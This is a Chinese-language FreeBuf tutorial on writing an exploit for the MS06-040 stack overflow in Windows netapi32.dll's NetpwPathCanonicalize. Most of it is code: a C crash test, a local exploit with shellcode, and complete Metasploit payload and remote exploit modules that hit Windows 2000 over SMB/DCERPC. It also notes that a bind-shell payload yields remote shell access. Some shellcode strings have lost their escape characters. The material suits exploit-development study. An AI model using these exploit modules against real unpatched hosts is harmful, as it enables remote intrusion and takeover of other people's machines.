遠程RPC溢出EXP編寫實戰之MS06-040
*本文原創作者:wooy0ung,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
0x01 前言
MS06-040算是個比較老的洞了,在當年影響十分之廣,基本上Microsoft大部分操作系統都受到了影響,威力不亞於17年爆出的」永恆之藍」漏洞。漏洞成因是Windows中參與socket網路的netapi32.dll動態鏈接庫里的一個導出函數NetpwPathCanonicalize()存在棧溢出,而且這個函數能夠通過RPC遠程調用。由於是棧溢出利用起來不算太複雜,正好用來實踐編寫metasploit的遠程利用腳本。
0x02 前期準備
1. Windows XP Professional sp3(非必需,我因為VC6安裝在這上面,只是用來編譯POC)
2. Windows 2000 Professional sp0(其他系統版本可能需要重新調試,更高版本可能需要繞過部分安全機制)
3. Kali Linux x64(安裝有metasploit framework latest)
4. 調試器:Ollydbg 1.10
5. 編譯器: VC++ 6.0
6. 反編譯器: IDA 6.8
7. 注意: 需要未打補丁的netapi32.dll,Windows 2000在C:WINNTsystem32目錄下能找到,
或者用以下提供的dll,但遠程exploit必須要帶有未打補丁dll的系統。
相關下載:
鏈接:https://pan.baidu.com/s/1qZQ1vnY 密碼:5stq
0x03 定位崩潰點
VC++ 6.0編譯POC, 運行
#include"stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll";
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,"a",sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,"b",sizeof(prefix)-2);
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
return 0;
}
程序崩潰掉, OD附加上去, EIP被」aaaa」填充
執行文件拖到OD, 單步來到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉
跟進NetpwPathCanonicalize函數, 執行MSVCRT.wcscat, 當retn時程序再次崩潰
此處應該就是崩潰點, 在IDA定位到該函數
copy」bbbbbb…」串到棧上
「bbbbb…」串尾部拼接一個0x005C
繼續拼接」aaaaa…」串, 覆蓋返回地址
0x04 本地exploit
漏洞的成因是在prefix串的基礎上拼接path串時沒有長度檢查,導致棧溢出。下面通過構造prefix、path串實現本地exploit。
觀察在崩潰函數retn時, ecx指向緩衝區的開始。這樣可以把shellcode布置在」bbbbbb….」串里, 用一條call/jmp ecx跳到棧上執行
// ms06_040_exp.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);
char shellcode[]=
"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08"
"x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03x78x3c"
"x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01"
"xc6x45x81x3ex46x61x74x61x75xf2x81x7ex08x45x78x69"
"x74x75xe9x8bx7ax24x01xc7x66x8bx2cx6fx8bx7ax1cx01"
"xc7x8bx7cxafxfcx01xc7x68x67x20x20x01x68x79x30x75"
"x6ex68x20x77x6fx6fx89xe1xfex49x0bx31xc0x51x50xff"
"xd7"; // 彈框
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,0x90,sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,"a",sizeof(prefix)-2);
memcpy(prefix,shellcode,113);
path[0x318]=0xF9; // call ecx,可能需要調試確定
path[0x319]=0x52;
path[0x31A]=0x18;
path[0x31B]=0x75;
(Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
FreeLibrary(LibHandle);
return 0;
}
pwn~
0x05 遠程exploit
很好,現在已經能夠本地溢出
NetpwPathCanonicalize()函數
,下面我們利用metasploit提供的類庫來寫一份遠程exp##
# Author: wooy0ung
# Date: 2018/01/15
##
require "msf/core"
module Metasploit3
CachedSize = 200
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
"Name" => "Windows Warning Box",
"Description" => "Only for Version under Windows 7",
"Author" => [ "wooy0ung" ],
"Platform" => "win",
"Arch" => ARCH_X86,
"Payload" =>
{
"Payload" =>
"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08"+
"x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03x78x3c"+
"x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01"+
"xc6x45x81x3ex46x61x74x61x75xf2x81x7ex08x45x78x69"+
"x74x75xe9x8bx7ax24x01xc7x66x8bx2cx6fx8bx7ax1cx01"+
"xc7x8bx7cxafxfcx01xc7x68x67x20x20x01x68x79x30x75"+
"x6ex68x20x77x6fx6fx89xe1xfex49x0bx31xc0x51x50xff"+
"xd7"
}
))
end
end
以上是一段彈出警告框的payload,新建一個文本貼入以上代碼,保存為warning.rb。
##
# Author: wooy0ung
# Date: 2018/01/15
##
require "msf/core"
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Exploit::Remote::DCERPC
include Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
"Name" => "MS06-040 RPC Exploit",
"Description" => "Only for Windows 2000 Professional sp0",
"Author" => [ "wooy0ung" ],
"Platform" => "win",
"DefaultOptions" => {"EXITFUNC" => "thread",},
"DefaultTarget" => 0,
"Targets" => [["Windows 2000 Professional sp0", {"Ret" => [0x318 , 0x74FB62C3] }]]))
register_options([OptString.new("SMBPIPE", [ true, "The pipe name to use (BROWSER, SRVSVC)", "BROWSER"]),], self.class)
end
def exploit
connect()
smb_login()
handle = dcerpc_handle("4b324fc8-1670-01d3-1278-5a47bf6ee188","3.0","ncacn_np",["\#{datastore["SMBPIPE"]}"])
dcerpc_bind(handle)
prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "x00x00"
path = make_nops(0x318) + [target["Ret"][1]].pack("V") +
"x04xD0xFDx7F" * 5 + # 可寫地址(這裡原本是崩潰函數傳入的5個參數)
"x66x81xECx30x04" + # sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 將esp指向payload起始)
"x8BxC4" + # mov eax, esp
"xFFxE4" + # jmp esp
"x00x00" # Unicode結束符
stub = NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString("") +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(250)+1) +
NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
NDR.long(rand(250)+1) +
NDR.long(0)
begin
dcerpc.call(0x1f, stub, false)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
handler
disconnect
end
end
以上則是利用腳本,
保存為ms06_040.rb,主要是構造shellcode(在path做ROP,跳到prefix中執行payload),
在Windows 2000下利用起來比較容易,不再作解釋。選擇之前保存的exp和payload,設置好靶機ip,pwn~
當然,將普通彈框換成bind_shell的payload就可以拿到shell了~
0x06 後記
看了metasploit的exploits模塊里MS06-040的利用腳本,發現這個洞一直影響到XP和Server 2003版本。因為主要是為了練習寫metasploit框架的exp,所以就不繼續延伸了。
*本文原創作者:wooy0ung,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
TAG:FreeBuf |